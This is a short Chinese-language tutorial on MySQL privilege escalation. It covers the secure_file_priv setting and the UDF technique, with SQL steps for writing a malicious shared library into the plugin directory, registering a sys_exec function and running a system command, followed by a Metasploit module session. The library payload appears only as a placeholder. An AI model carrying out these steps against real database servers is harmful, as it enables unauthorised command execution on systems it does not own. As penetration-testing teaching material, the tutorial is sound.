MySQL
在 MySQL 中,secure_file_priv 是一个关键的安全配置变量,用于控制是否允许通过 LOAD_FILE() 和 LOAD_DATA 等函数执行文件的导入和导出操作。
show variables like '%secure_file_priv%';
如果值为空(NULL/空字符串),表示未启用文件路径限制,允许从任意路径导入/导出文件。攻击者可利用此配置漏洞写入恶意文件。
MySQL UDF 提权
MySQL 用户定义函数(UDF)允许通过 C/C++编写扩展功能,但配置不当可能被攻击者利用进行权限提升,获取系统级控制权限。
攻击者利用 MySQL 的FILE权限写入恶意动态链接库(.so/.dll),通过 UDF 机制加载执行,从而以 MySQL 服务账户身份执行系统命令。
利用前提条件:
- 文件写入权限:具备
FILE权限可写文件 - 插件目录路径:知晓
plugin_dir位置(如 Linux 默认/usr/lib/mysql/plugin/) - 恶意动态库:预先编译好的恶意 so/dll 文件
secure_file_priv
环境搭建
漏洞利用
定位插件目录
SHOW VARIABLES LIKE 'plugin_dir';
上传恶意库文件
SELECT 恶意代码 INTO DUMPFILE '/usr/lib/mysql/plugin/hack.so';
创建恶意函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'hack.so';
执行系统命令
SELECT sys_exec('whoami');
msf > use exploit/multi/mysql/mysql_udf_payload
msf exploit(mysql_udf_payload) > show targets
...targets...
msf exploit(mysql_udf_payload) > set TARGET < target-id >
msf exploit(mysql_udf_payload) > show options
...show and set options...
msf exploit(mysql_udf_payload) > exploit